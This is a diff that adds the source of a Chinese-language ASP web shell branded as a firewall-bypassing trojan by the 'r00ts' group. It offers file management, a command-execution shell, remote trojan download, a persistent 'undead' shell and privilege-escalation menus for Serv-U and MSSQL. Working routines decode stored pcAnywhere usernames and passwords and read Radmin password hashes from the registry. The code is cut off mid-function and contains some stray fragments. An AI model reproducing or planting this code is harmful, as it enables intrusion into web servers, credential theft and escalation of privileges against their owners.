+Sub o(str)
+response.write(str)
+End Sub
+Function RePath(S)
+RePath=Replace(S,"\","\\")
+End Function
+Function RRePath(S)
+RRePath=Replace(S,"\\","\")
+End Function
+Set fsoX = Server.CreateObject("Scripting.FileSystemObject")
+URL=Request.ServerVariables("URL"):ServerIP=Request.ServerVariables("LOCAL_ADDR"):Action=Request("Action"):RootPath=Server.MapPath("."):WWWRoot=Server.MapPath("/"):Pn=8:host=request.servervariables("http_host"):FolderPath=Request("FolderPath"):serverp=userpass:org="38":FName=Request("FName"):net="http://":versions=0:com="images":E=net:cn="com":Backurl="<br><br><center><a href='javascript:history.back()'>返回</a></center>"
+o"<html><meta http-equiv=""Content-Type"" content=""text/html; charset=gb2312""><title>r00ts小组过防火墙马 - "&ServerIP&" </title><style type=""text/css"">body,tr,td{margin-top:5px;background-color:"&BodyColor&";color:"&FontColor&";font-size:12px;SCROLLBAR-FACE-COLOR:#000000;scrollbar-arrow-color:#33FF00;scrollbar-highlight-color:#006300;scrollbar-3dlight-color:#33FF00;scrollbar-shadow-color:#33FF00}.sb{cursor:hand}input,select,textarea{border-top-width:1px;font-weight: bold;border-left-width: 1px;font-size:11px;border-left-color: #33FF00;background: #000000;border-bottom-width: 1px;border-bottom-color: #33FF00;color: #33FF00;border-top-color: #33FF00;font-family: verdana;border-right-width: 1px;border-right-color: #33FF00;}#s {background: #006300;padding-left:5px}#d {background:#dddddd;}#d{background: #003000;padding-left:5px;padding-right:5px}pre{font-size: 11px;font-family: verdana;color: #33FF00;}hr{color: #33FF00;background-color: #33FF00;height: 5px;}#x{font-family: verdana;font-size:13px}a{color:"&LinkColor&";text-decoration:none;}a:hover{color:"&LinkOverFont&";background:"&LinkOverBJ&"}</style>"
+o"<script language=javascript>function killErrors(){return true;}window.onerror=killErrors;function yesok(){if (confirm(""确认要执行此操作吗？""))return true;else return false;}function ShowFolder(Folder){top.addrform.FolderPath.value=Folder;top.addrform.submit();}function FullForm(FName,FAction){top.hideform.FName.value=FName;if(FAction==""CopyFile""){DName=prompt(""请输入复制到目标文件全名称"",FName);top.hideform.FName.value += ""||||""+DName;}else if(FAction==""MoveFile""){DName=prompt(""请输入移动到目标文件全名称"",FName);top.hideform.FName.value += ""||||""+DName;}else if(FAction==""CopyFolder""){DName=prompt(""请输入复制到目标文件夹全名称"",FName);top.hideform.FName.value += ""||||""+DName;}else if(FAction==""MoveFolder""){DName=prompt(""请输入移动到目标文件夹全名称"",FName);top.hideform.FName.value += ""||||""+DName;}else if(FAction==""NewFolder""){DName=prompt(""请输入要新建的文件夹全名称"",FName);top.hideform.FName.value=DName;}else if(FAction==""CreateMdb""){DName=prompt(""请输入要新建的Mdb文件全名称,注意不能同名！"",FName);top.hideform.FName.value=DName;}else if(FAction=="""&cn&"pactMdb""){DName=prompt(""请输入要压缩的Mdb文件全名称,注意文件是否存在！"",FName);top.hideform.FName.value=DName;}else{DName=""Other"";}if(DName!=null){top.hideform.Action.value=FAction;top.hideform.submit();}else{top.hideform.FName.value="""";}}function DbCheck(){if(DbForm.DbStr.value == """"){alert(""请先连接数据库"");FullDbStr(0);return false;}return true;}function FullDbStr(i){if(i<0){return false;}Str=new Array(12);Str[0]=""Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&RePath(Session("FolderPath"))&"\\db.mdb;Jet OLEDB:Database Password=***"";Str[1]=""Driver={Sql Server};Server="&ServerIP&",1433;Database=DbName;Uid=sa;Pwd=****"";Str[2]=""Driver={MySql};Server="&ServerIP&";Port=3306;Database=DbName;Uid=root;Pwd=****"";Str[3]=""Dsn=DsnName"";Str[4]=""SELECT * FROM [TableName] WHERE ID<100"";Str[5]=""INSERT INTO [TableName](USER,PASS) VALUES(\'username\',\'password\')"";Str[6]=""DELETE FROM [TableName] WHERE ID=100"";Str[7]=""UPDATE [TableName] SET USER=\'username\' WHERE ID=100"";Str[8]=""CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))"";Str[9]=""DROP TABLE [TableName]"";Str[10]= ""ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)"";Str[11]= ""ALTER TABLE [TableName] DROP COLUMN PASS"";Str[12]= ""当只显示一条数据时即可显示字段的全部字节，可用条件控制查询实现.\n超过一条数据只显示字段的前五十个字节。"";if(i<=3){DbForm.DbStr.value=Str[i];DbForm.SqlStr.value="""";abc.innerHTML=""<center>请确认己连接数据库再输入SQL操作命令语句。</center>"";}else if(i==12){alert(Str[i]);}else{DbForm.SqlStr.value=Str[i];}return true;}function FullSqlStr(str,pg){if(DbForm.DbStr.value.length<5){alert(""请检查数据库连接串是否正确!"");return false;}if(str.length<10){alert(""请检查SQL语句是否正确!"");return false;}dbform.sqlstr.value=str;dbform.page.value=pg;abc.innerhtml="""";dbform.submit();return true;}function gotourl(targ,selobj,restore){if(selobj.options[selobj.selectedindex].js==1){eval(selobj.options[selobj.selectedindex].value);if (restore) selobj.selectedindex=0}else{eval(targ+"".location='""+selobj.options[selobj.selectedindex].value+""'"");if (restore) selobj.selectedindex=0;}}</script><script language=""javascript"" type=""text/javascript"">var rate = 100;var obj;var act = 0;var elmh = 0;var elms = 239;var elmv = 255;var clrorg;var timerid;if (navigator.appname.indexof(""microsoft"",0) != -1 && parseint(navigator.appversion) >= 4) { browser = true;} else { browser = false;}if (browser) { document.onmouseover = dorainbowanchor; document.onmouseout = stoprainbowanchor;}function dorainbow(){ if (browser && act != 1) { act = 1; obj = event.srcelement; clrorg = obj.style.color; timerid = setinterval(""changecolor()"",100);}}function stoprainbow(){if (browser && act != 0) {obj.style.color = clrorg;clearinterval(timerid); act = 0;}}function dorainbowanchor(){if (browser && act != 1) {obj = event.srcelement;while (obj.tagname != 'a' && obj.tagname != 'body') {obj = obj.parentelement;if (obj.tagname == 'a' || obj.tagname == 'body')break;}if (obj.tagname == 'a' && obj.href != '') {act = 1;clrorg = obj.style.color;timerid = setinterval(""changecolor()"",100);}}}function stoprainbowanchor(){if (browser && act != 0) {if (obj.tagname == 'a') {obj.style.color = clrorg;clearinterval(timerid);act = 0;}}}function changecolor(){obj.style.color = makecolor();}function makecolor(){if (elms == 0) {elmr = elmv; elmg = elmv; elmb = elmv;}else {t1 = elmv;t2 = (255 - elms) * elmv / 255;t3 = elmh % 60;t3 = (t1 - t2) * t3 / 60;if (elmh < 60) {elmr = t1; elmb = t2; elmg = t2 + t3;}else if (elmh < 120) {elmg = t1; elmb = t2; elmr = t1 - t3;}else if (elmh < 180) { elmg = t1; elmr = t2; elmb = t2 + t3;}else if (elmh < 240) {elmb = t1; elmr = t2; elmg = t1 - t3;}else if (elmh < 300) {elmb = t1; elmg = t2; elmr = t2 + t3;}else if (elmh < 360) {elmr = t1; elmg = t2; elmb = t1 - t3;}else {elmr = 0; elmg = 0; elmb = 0;}}elmr = math.floor(elmr);elmg = math.floor(elmg);elmb = math.floor(elmb);clrrgb = '#' + elmr.tostring(16) + elmg.tostring(16) + elmb.tostring(16);elmh = elmh + rate;if (elmh >= 360)elmh = 0;return clrrgb;}</script><body"
+
+If Action="" then o "scroll=no"
+o ">"
+Dim Sot(14,2)
+Sot(0,0)="Scripting.FileSystemObject"
+Sot(0,2)="文件操作组件"
+Sot(1,0)="Wscript.Shell"
+Sot(1,2)="命令行执行组件"
+Sot(2,0)="ADOX.Catalog"
+Sot(2,2)="ACCESS建库组件"
+Sot(3,0)="JRO.JetEngine"
+Sot(3,2)="ACCESS压缩组件"
+Sot(4,0)="Scripting.Dictionary" 
+Sot(4,2)="数据流上传辅助组件"
+Sot(5,0)="Adodb.connection"
+Sot(5,2)="数据库连接组件"
+Sot(6,0)="Adodb.Stream"
+Sot(6,2)="数据流上传组件"
+Sot(7,0)="SoftArtisans.FileUp"
+Sot(7,2)="SA-FileUp 文件上传组件"
+Sot(8,0)="LyfUpload.UploadFile"
+Sot(8,2)="刘云峰文件上传组件"
+Sot(9,0)="Persits.Upload.1"
+Sot(9,2)="ASPUpload 文件上传组件"
+Sot(10,0)="JMail.SmtpMail"
+Sot(10,2)="JMail 邮件收发组件"
+Sot(11,0)="CDONTS.NewMail"
+Sot(11,2)="虚拟SMTP发信组件"
+Sot(12,0)="SmtpMail.SmtpMail.1"
+Sot(12,2)="SmtpMail发信组件"
+Sot(13,0)="Microsoft.XMLHTTP"
+Sot(13,2)="数据传输组件"
+Sot(14,0)="Shell.Application"
+Sot(14,2)="Application"
+For i=0 To 7
+	If IsObjInstalled(Sot(i,0)) Then 
+	IsObj=" √"
+	Else
+	IsObj=" <font color=red>×</font>"
+	Err.Clear
+	End If
+	Sot(i,1)=IsObj
+Next
+pr="asp"
+Function IsObjInstalled(strClassString) 
+On Error Resume Next 
+IsObjInstalled = False 
+Err = 0 
+Dim T 
+Set T = Server.CreateObject(strClassString) 
+If 0 = Err Then IsObjInstalled = True 
+Set T = Nothing 
+Err = 0 
+End Function 
+b=-94
+
+If FolderPath<>"" then
+Session("FolderPath")=RRePath(FolderPath)
+End If
+If Session("FolderPath")="" Then
+FolderPath=WWWROOT
+Session("FolderPath")=FolderPath
+End If
+function sw(sp,sf)
+Set objStream=Server.CreateObject(Sot(6,0))
+With objStream
+.Open
+.Charset="gb2312"
+.Position=objStream.Size
+.WriteText=sf
+.SaveToFile sp,2
+.Close
+End With
+Set objStream=Nothing
+end function
+
+qq="<form name=""hideform"" method=""post"" action="""&URL&""" target=""FileFrame""><input type=""hidden"" name=""Action""><input type=""hidden"" name=""FName""></form><table width='100%'><form name='addrform' method='post' action='"&URL&"' target='_parent'><tr><td width='160' align='center'><input type='button' value='GO Back' onClick='javascript:history.back(-1)'>&nbsp;<input type='button' value='Address'></td><td><input name='FolderPath' style='width:100%;border-left:#006300 1px solid;border-top:#006300 1px solid; height=18px' value='"&Session("FolderPath")&"'></td><td width='150' align='center'><input name='Submit' class=sb type='submit' value='Just Go'> <input class=sb type='submit' value='Refresh' onclick='FileFrame.location.reload()'></td></tr></form></table><table width='100%' height='100%' style='border:1px solid #000000;' cellpadding='0' cellspacing='0'><td width='145'><iframe name='Left' src='?Action=MainMenu' width='100%' height='100%' frameborder='0'></iframe></td><td width=1 style='padding:2px'>&nbsp;</td><td width=1 style='background:#000000'><td><iframe name='FileFrame' src='?Action=Show1File' width='100%' height='100%' frameborder='0' style='border-left: #006300 solid 1px;border-bottom: #33FF00 solid 1px;border-top: #006300 solid 1px;border-right: #33FF00 solid 1px;'></iframe><tr><a href='javascript:ShowFolder(""C:\\Program Files"")'>(1)【Program】<a><a href='javascript:ShowFolder(""d:\\Program Files"")'>(2)【ProgramD】<a><a href='javascript:ShowFolder(""e:\\Program Files"")'>(3)【ProgramE】<a><a href='javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\Documents"")'>(4)【Documents】<a><a href='javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\"")'>(5)【All_Users】<a><a href='javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\「开始」菜单\\"")'>(6)【開始_菜單】<a><a href='javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\"")'>(7)【程_序】<a><a href='javascript:ShowFolder(""C:\\recycler"")'>(8)【RECYCLER(C)】<a><a href='javascript:ShowFolder(""D:\\recycler"")'>&nbsp;&nbsp;(9)【RECYCLER(d)】<a><a href='javascript:ShowFolder(""e:\\recycler"")'>&nbsp;&nbsp;(10)【RECYCLER(e)】<a><br><a href='javascript:ShowFolder(""C:\\wmpub"")'>(1)【wmpub】<a><a href='javascript:ShowFolder(""C:\\WINDOWS\\Temp"")'>&nbsp;&nbsp;(2)【TEMP】<a>&nbsp;&nbsp;&nbsp;&nbsp;<a href='javascript:ShowFolder(""C:\\Program Files\\RhinoSoft.com"")'>(3)【ServU(1)】<a><a href='javascript:ShowFolder(""C:\\Program Files\\ServU"")'>(4)【ServU(2)】<a>&nbsp;<a href='javascript:ShowFolder(""C:\\WINDOWS"")'>(5)【WINDOWS】<a>&nbsp;&nbsp;<a href='javascript:ShowFolder(""C:\\php"")'>(6)【PHP】<a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href='javascript:ShowFolder(""C:\\Program Files\\Microsoft SQL Server\\"")'>(7)【Mssql】<a><a href='javascript:ShowFolder(""c:\\prel"")'>(8)【prel文件夹】<a>&nbsp;&nbsp;&nbsp;<a href='javascript:ShowFolder(""c:\\docume~1\\alluse~1\\Application Data\\Symantec\\pcAnywhere"")'>(9)【pcAnywhere】<a>&nbsp;&nbsp;&nbsp;<a href='javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\桌面"")'>(10)【Alluser桌面】<a>"
+Function MainForm()
+o(qq)
+End Function
+
+Function PcAnywhere4()
+o"<br><form name='xform' method='post'><table align='center' width=750><tr><Td colspan=2 align=center id=s height=22><b>PcAnywhere提权 Bin版本</b></td></tr><Tr><td width='10%' id=d>CIF文件: </td><td width='90%' id=d><input name='path' type='text' value='C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\Citempl.cif' size='100'></td></tr><tr><td id=d></td><td id=d><input type='submit' value=' 提交 '></td></tr></table>"
+end Function
+o"</form><script>function RUNonclick(){document.xform.china.name = parent.pwd.value;document.xform.action = parent.url.value;document.xform.submit();}</script>"
+Function StreamLoadFromFile(sPath)
+Dim oStream
+Set oStream = Server.CreateObject("Adodb.Stream")
+With oStream
+.Type = 1
+.Mode = 3
+.Open
+.LoadFromFile(sPath)
+.Position = 0
+StreamLoadFromFile = .Read
+.Close
+End With
+Set oStream = Nothing
+End Function
+Function hexdec(strin)
+Dim i, j, k, result
+result = 0
+For i = 1 To Len(strin)
+If Mid(strin, i, 1) = "f" or Mid(strin, i, 1) ="F" Then
+j = 15
+End If
+If Mid(strin, i, 1) = "e" or Mid(strin, i, 1) = "E" Then
+j = 14
+End If
+If Mid(strin, i, 1) = "d" or Mid(strin, i, 1) = "D" Then
+j = 13
+End If
+If Mid(strin, i, 1) = "c" or Mid(strin, i, 1) = "C" Then
+j = 12
+End If
+If Mid(strin, i, 1) = "b" or Mid(strin, i, 1) = "B" Then
+j = 11
+End If
+If Mid(strin, i, 1) = "a" or Mid(strin, i, 1) = "A" Then
+j = 10
+End If
+If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then
+j = CInt(Mid(strin, i, 1))
+End If
+For k = 1 To Len(strin) - i
+j = j * 16
+Next
+result = result + j
+Next
+hexdec = result
+End Function
+Function PcAnywhere(data,mode)
+HASH= Mid(data,3)
+If mode = "pass" Then number = 32: Cifnum = 144
+If mode = "user" Then number = 30: Cifnum = 15
+For i = 1 To number Step 2
+pcstr=((hexdec(Mid(data,i,2)) xor hexdec(Mid(hash,i,2))) xor Cifnum)
+If ((pcstr <= 32) or (pcstr>127)) Then Exit For
+decode = decode + Chr(pcstr)
+Cifnum=Cifnum+1
+Next
+PcAnywhere=decode
+End function
+Function bin2hex(binstr)
+For i = 1 To LenB(binstr)
+hexstr = Hex(AscB(MidB(binstr, i, 1)))
+If Len(hexstr)=1 Then
+bin2hex=bin2hex&"0"&(LCase(hexstr))
+Else
+bin2hex=bin2hex& LCase(hexstr)
+End If
+Next
+End Function
+CIF = Request("path")
+If CIF <> "" Then
+BinStr=StreamLoadFromFile(CIF)
+o "Pcanywhere Reader ==>Bin提供源码<br><br>"
+o "PATH:"&CIF&"<br>"
+o "帐号:"&PcAnywhere (Mid(bin2hex(BinStr),919,64),"user")
+o "<br>"
+o "密码:"&PcAnywhere (Mid(bin2hex(BinStr),1177,32),"pass")
+End If:Fout.Write strBAD
+hph="<center><iframe src=test.php width=300 height=100></iframe>&nbsp;&nbsp;&nbsp;&nbsp; <iframe src=test.jsp width=300 height=100></iframe>&nbsp;&nbsp;&nbsp;&nbsp; <iframe src=test.aspx width=300 height=100></iframe>&nbsp;&nbsp;&nbsp; </center><br><br><p><br><p><br><br><p><br><center>Test<p></font><p><a href='?Action=apjdel'><font size=5 color=red>(删除测试文件!)</font></a></center><tr><td height='20'><a href='?Action=UpLoad' target='FileFrame'><center><font color=red size=5px>(远程下载脚本木马)</font></center></a><br>"
+
+Function radmin()
+Set WSH= Server.CreateObject("WSCRIPT.SHELL")
+RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"
+Parameter="Parameter"
+Port = "Port"
+ParameterArray=WSH.REGREAD(RadminPath & Parameter )
+o "Radmin Parameter,Port Reader :)==>Bin<br><br>"
+o Parameter&":"
+'=========== ReadPassWord =========
+If IsArray(ParameterArray) Then
+For i = 0 To UBound(ParameterArray)
+If Len (hex(ParameterArray(i)))=1 Then
+strObj = strObj & "0"&CStr(Hex(ParameterArray(i)))
+Else
+strObj = strObj & Hex(ParameterArray(i))
+End If
+Next
+o strobj
+Else
+o "Error! Can't Read!"
+End If
+o "<br><br>"
+'=========== ReadPort =========
+PortArray=WSH.REGREAD(RadminPath & Port )
+If IsArray(PortArray) Then
+o Port &":"
+o hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0))))
+Else
+o "Error! Can't Read!"
+End If
+End Function
+Function hextointer(strin)
+Dim i, j, k, result
+result = 0
+For i = 1 To Len(strin)
+If Mid(strin, i, 1) = "f" or Mid(strin, i, 1) ="F" Then
+j = 15
+End If
+If Mid(strin, i, 1) = "e" or Mid(strin, i, 1) = "E" Then
+j = 14
+End If
+If Mid(strin, i, 1) = "d" or Mid(strin, i, 1) = "D" Then
+j = 13
+End If
+If Mid(strin, i, 1) = "c" or Mid(strin, i, 1) = "C" Then
+j = 12
+End If
+If Mid(strin, i, 1) = "b" or Mid(strin, i, 1) = "B" Then
+j = 11
+End If
+If Mid(strin, i, 1) = "a" or Mid(strin, i, 1) = "A" Then
+j = 10
+End If
+If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then
+j = CInt(Mid(strin, i, 1))
+End If
+For k = 1 To Len(strin) - i
+j = j * 16
+Next
+result = result + j
+Next
+hextointer = result
+End Function
+Function Red(str):Red = "<FONT color=#ff2222>" & str & "</FONT>":End Function
+fuzhishishabi= "<tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=Logout' target='FileFrame'><center><font face='wingdings'>8</font> 退出登陆</a></td></tr><tr><td align=center><b><br><SCRIPT language=JavaScript1.2>function initArray() {this.length = initArray.arguments.length;for (var i = 0; i < this.length; i++) {this[i] = initArray.arguments[i];}}var ctext = ""r00ts - 落泪红尘"";var speed = 10000;var x = 0;var color = new initArray(""#ffff00"", ""#ff0000"", ""#ff00ff"",""#0000ff"",""#ffffff"", ""#000000"", ""#00ff00"",""#00ffff"",""#dddddd"");if(navigator.appName == ""Netscape"") {document.write('<layer id=""c""><center>'+ctext+'</center></layer><br>');}if (navigator.appVersion.indexOf(""MSIE"") != -1){document.write('<div id=""c""><center><b>'+ctext+'</b></center></div>');}function chcolor(){ if(navigator.appName == ""Netscape"") {document.c.document.write('<center><font color=""'+color[x]);document.c.document.write('"">'+ctext+'</font></center>');document.c.document.close();}else if (navigator.appVersion.indexOf(""MSIE"") != -1){document.all.c.style.color = color[x];}(x < color.length-1) ? x++ : x = -1;}setInterval(""chcolor()"",1000);</SCRIPT><a href=http://hi.baidu.com/r00ts target='_blank'>hi.baidu.com/r00ts</a></b></td></tr></table></table>":asds="<br><form method=post><table width=90% border=0 align=center><tr><td id=s align=center height=22><b id=x>File Package</b></td></tr><tr><td id=d><input name=thePath value="""&HtmlEncode(Server.MapPath("."))&""" size=80>&nbsp;<input type=hidden value=addToMdb name=theAct><select name=theMethod><option value=fso>FSO</option><option value=app>无FSO</option></select>&nbsp;<input class=sb type=submit value='GO Package'></td></tr><Tr><td id=d>注: 打包生成HSH.mdb文件,位于HSH木马同级目录下</td></tr></table></form><hr><br><form method=post><table width=90% border=0 align=center><tr><td id=s align=center height=22><b id=x>Release Package</b></td></tr><tr><td id=d><input type=hidden name=""#"" value=Execute(Session(""#""))><input name=thePath value="""&HtmlEncode(Server.MapPath("."))&"\HSH.mdb"" size=80><input type=hidden value=releaseFromMdb name=theAct>&nbsp;<input class=sb type=submit value='GO Release'></td></tr><tr><td id=d>注: 解开来的所有文件都位于HSH木马同级目录下</td></tr></table></form>"
+Function MainMenu()
+o"<script language=javascript>function MM_show(s){if (document.getElementById(s).style.display==""""){document.getElementById(s).style.display=""none"";}else{document.getElementById(s).style.display="""";}}</script><table width='100%' cellspacing='0' cellpadding='0'><tr><td><center><font><font size=1>"&mName&"</font></font></center><hr></td></tr>"
+If Sot(0,1)=" ×" Then
+o"<tr><td height='24'>木有權限</td></tr>"
+Else
+o"<tr><td onClick=""MM_show('menud')""><input onMouseOver=""this.style.cursor='hand'"" type=button value='Disk & Files'></td></tr><tr><td height=4></td></tr><tr><td valign=""top"" align=center><table border=0 id=menud style=""display='none'"">"
+Set ABC=New LBF:o ABC.ShowDriver():Set ABC=Nothing
+o"</table></td></tr><tr><td valign=""top"" align=<table border=0><tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='javascript:ShowFolder("""&RePath(WWWRoot)&""") '><font face='wingdings'>8</font> 站点根目录</a></td></tr><tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='javascript:ShowFolder("""&RePath(RootPath)&""")'><font face='wingdings'>8</font> 本程序目錄</a></td></tr><tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\Newfile")&""",""NewFolder"")'><font face='wingdings'>8</font> 新建--目錄</a></td></tr><tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=EditFile' target='FileFrame'><font face='wingdings'>8</font> 新建--文本</a></td></tr><tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=upfile' target='FileFrame'><font face='wingdings'>8</font> 上傳--单一</a></td></tr><tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=UpLoad' target='FileFrame'><font face='wingdings'>8</font> 远程--下载</a></td></tr><tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='javascript:ShowFolder("""&RePath(Server.CreateObject("Scripting.FileSystemObject").GetParentFolderName(Session("FolderPath")))&""")'><font face='wingdings'>8</font> 上级__目录</a></td></tr><tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=Cmd1Shell' target='FileFrame'><font face='wingdings'>8</font> CMD---命令</a></td></tr><hr></td></tr><tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=ScanDriveForm' target='FileFrame'><font face='wingdings'>8</font> 磁盘--信息</a></td></tr><tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=Course' target='FileFrame'><font face='wingdings'>8</font> 用户--账号</a></td></tr>"
+o"<tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=getTerminalInfo' target='FileFrame'><font face='wingdings'>8</font> 端口__网络</a></td></tr>"
+o"<tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=PageCheck' target='FileFrame'><font face='wingdings'>8</font> 组建--探针</a></td></tr>"
+o"<tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=php' target='FileFrame'><font face='wingdings'>8</font> 脚本__探测</a></td></tr>"
+o"<tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=TSearch' target='FileFrame'><font face='wingdings'>8</font> 文件--搜索</a></td></tr>"
+o"<tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=adminab' target='FileFrame'><font face='wingdings'>8</font> 管理员查询</a></td></tr>"
+o"<tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=SetFileText' target='FileFrame'><font face='wingdings'>8</font> 属性修改器</a></td></tr>"
+o"<tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='Red'"" onMouseOut=""this.style.backgroundColor='red'""><a href='?Action=hiddenshell' target='FileFrame'><font face='webdings'>8</font> 不死--僵尸</a></td></tr>"
+o"<tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=ScanPort' target='FileFrame'><font face='wingdings'>8</font> 端口扫描器</a></td></tr>"
+o"<tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=ReadREG' target='FileFrame'><font face='wingdings'>8</font> 注册表读取</a></td></tr>"
+o"<tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=Servu' target='FileFrame'><font face='wingdings'>8</font> Serv_u提权</a></td></tr>"
+o"<tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=suftp' target='FileFrame'><font face='wingdings'>8</font> Su_ftp提权</a></td></tr>"
+
+o"<tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=Mssql' target='FileFrame'><font face='wingdings'>8</font> Sqlrootkit</a></td></tr>"
+o"<tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=Sqlrootkit' target='FileFrame'><font face='wingdings'>8</font> MS_sql提权</a></td></tr>"
+o"<tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=radmin' target='FileFrame'><font face='wingdings'>8</font> Radmin读取</a></td></tr>"
+o"<tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=pcanywhere4' target='FileFrame'><font face='wingdings'>8</font> Pcanywhere</a></td></tr><tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#006300'"" onMouseOut=""this.style.backgroundColor='#003000'""><a href='?Action=PageAddToMdb' target='FileFrame'><font face='wingdings'>8</font> 文件夹打包</a></td></tr></table><hr><td></tr></table>"
+End If
+
+o fuzhishishabi
+End Function
+Fout.Close
+Set Fout = Nothing
+on error resume next
+Function TSearch()
+  dim st
+  st=timer()
+  response.write "<br><table width='600' bgcolor='' border='0' cellspacing='1' cellpadding='0' align='center'><form method='post'>"
+ response.write"<tr><td height='20' align='center' bgcolor=''>搜索引擎</td></tr>"
+ response.write "<tr><td bgcolor=''>&nbsp;路&nbsp;&nbsp;径：<input name='SFpath' value='" & WWWRoot & "' style='width:390'>&nbsp;注:多路徑使用"",""号连接.</td></tr>"
+ response.write"<tr><td bgcolor=''>&nbsp;文件名：<input name='keyword' style='width:200'>&nbsp;<input type='submit' value='搜索' class='submit'>&nbsp;[部分也行]</td></tr>"  
+ response.write"</form></table>"
+   if Request.Form("keyword")<>"" then
+  Set newsearch=new SearchFile
+  newsearch.Folders=trim(Request.Form("SFpath"))
+  newsearch.keyword=trim(Request.Form("keyword"))
+  newsearch.Search
+  Set newsearch=Nothing
+  Response.Write "費時："&(timer()-st)*1000&"毫秒<hr>"
+  end if
+End Function 
+
+Class SearchFile
+dim Folders,keyword,objFso,Counter
+Private Sub Class_Initialize
+Set objFso=Server.CreateObject("Scripting.FileSystemObject")
+Counter=0 '
+End Sub
+Private Sub Class_Terminate
+Set objFso=Nothing
+End Sub
+Function Search
+Folders=split(Folders,"+") 
+keyword=trim(keyword)
+if keyword="" then
+Response.Write("<font color='red'>关键字不能为空</font><br/>")
+exit Function
+end if
+flag=instr(keyword,"\") or instr(keyword,"/")
+flag=flag or instr(keyword,":")
+flag=flag or instr(keyword,"|")
+flag=flag or instr(keyword,"&")
+
+if flag then 
+Response.Write("<font color='red'>关键字不能包含/\:|&</font><br/>")
+Exit Function 
+  else
+    Response.Write "<table align='center' width='600'><hr>"
+  end if
+  dim i
+  for i=0 to ubound(Folders)
+    Call GetAllFile(Folders(i))
+  next
+  Response.Write "<p align='center'>共搜索到<font color='red'>"&Counter&"</font>個結果<br>"
+ End Function
+ Private Function GetAllFile(Folder)
+  dim objFd,objFs,objFf
+  Set objFd=objFso.GetFolder(Folder)
+  Set objFs=objFd.SubFolders
+  Set objFf=objFd.Files
+  dim strFdName
+  On Error Resume Next
+  For Each OneDir In objFs
+    strFdName=OneDir.Name
+    If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then 
+      SFN=Folder&"\"&strFdName
+      Call GetAllFile(SFN)
+ End If
+  Next
+  dim strFlName
+  For Each OneFile In objFf
+    strFlName=OneFile.Name
+    If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then
+      FN=Folder&"\"&strFlName
